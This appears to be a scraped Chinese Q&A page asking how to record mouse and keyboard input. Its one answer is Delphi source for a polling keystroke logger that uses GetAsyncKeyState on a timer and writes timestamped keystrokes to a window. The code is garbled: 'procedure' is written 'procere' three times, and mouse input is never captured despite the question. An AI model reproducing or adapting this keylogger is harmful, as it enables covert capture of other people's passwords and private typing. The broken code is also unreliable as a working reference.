如何将用户的鼠标输入和键盘输入进行记录
发布网友
发布时间:2022-04-20 10:51
我来回答
共1个回答
热心网友
时间:2023-06-28 04:41
新建一个Application
放一个Memo 和 Timer ,Timer的Interval设置为1
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
procere Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Line: String;
implementation
{$R *.dfm}
procere TForm1.Timer1Timer(Sender: TObject);
var
i,k:Integer;
s:String;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
k:=GetKeyState(VK_SHIFT);
case i of
8 : s:=s+'[Back]';
9 : s:=s+'[Tab]';
13 : s:=s+'[Enter]';
17 : s:=s+'[Ctrl]';
27 : s:=s+'[Esc]';
32 :s:=s+' ';
33 : s := s + '[Page Up]';
34 : s := s + '[Page Down]';
35 : s := s + '[End]';
36 : s := s + '[Home]';
37 : s := s + '[Left]';
38 : s := s + '[Up]';
39 : s := s + '[Right]';
40 : s := s + '[Down]';
44 : s := s + '[Print Screen]';
45 : s := s + '[Insert]';
46 : s := s + '[Del]';
145 : s := s + '[Scroll Lock]';
//Number 1234567890 Symbol !@#$%^&*()
48 : if k<0 then s:=s+')'
else s:=s+'0';
49 : if k<0 then s:=s+'!'
else s:=s+'1';
50 : if k<0 then s:=s+'@'
else s:=s+'2';
51 : if k<0 then s:=s+'#'
else s:=s+'3';
52 : if k<0 then s:=s+'$'
else s:=s+'4';
53 : if k<0 then s:=s+'%'
else s:=s+'5';
54 : if k<0 then s:=s+'^'
else s:=s+'6';
55 : if k<0 then s:=s+'&'
else s:=s+'7';
56 : if k<0 then s:=s+'*'
else s:=s+'8';
57 : if k<0 then s:=s+'('
else s:=s+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if k<0 then
s:=s+Chr(i+32) //a..z
else
s:=s+Chr(i) //A..Z
else if k<0 then
s:=s+Chr(i) //A..Z
else
s:=s+Chr(i+32); //a..z
end;
//Numpad
96: s:=s + '0';
97: s:=s + '1';
98: s:=s + '2';
99: s:=s + '3';
100: s:=s + '4';
101: s:=s + '5';
102: s:=s + '6';
103: s:=s + '7';
104: s:=s + '8';
105: s:=s + '9';
106: s:=s+'*';
107: s:=s+'+';
109: s:=s+'-';
110: s:=s+'.';
111: s:=s+'/';
144: s:=s+'[Num Lock]';
//F1-F12
112: s:=s+'[F1]';
113: s:=s+'[F2]';
114: s:=s+'[F3]';
115: s:=s+'[F4]';
116: s:=s+'[F5]';
117: s:=s+'[F6]';
118: s:=s+'[F7]';
119: s:=s+'[F8]';
120: s:=s+'[F9]';
121: s:=s+'[F10]';
122: s:=s+'[F11]';
123: s:=s+'[F12]';
186: if k<0 then s:=s+':'
else s:=s+';';
187: if k<0 then s:=s+'+'
else s:=s+'=';
188: if k<0 then s:=s+'<'
else s:=s+',';
189: if k<0 then s:=s+'_'
else s:=s+'-';
190: if k<0 then s:=s+'>'
else s:=s+'.';
191: if k<0 then s:=s+'?'
else s:=s+'/';
192: if k<0 then s:=s+'~'
else s:=s+'`';
219: if k<0 then s:=s+'{'
else s:=s+'[';
220: if k<0 then s:=s+'|'
else s:=s+'\';
221: if k<0 then s:=s+'}'
else s:=s+']';
222: if k<0 then s:=s+'"'
else s:=s+'''';
end;
end;
end;
Line:=Line+'.'+s;
if Length(Line)>=32 then
begin
Memo1.Lines.Add(FormatDateTime('[yymmddhhmmss]',now)+Line);
Line:='';
end;
end;
end.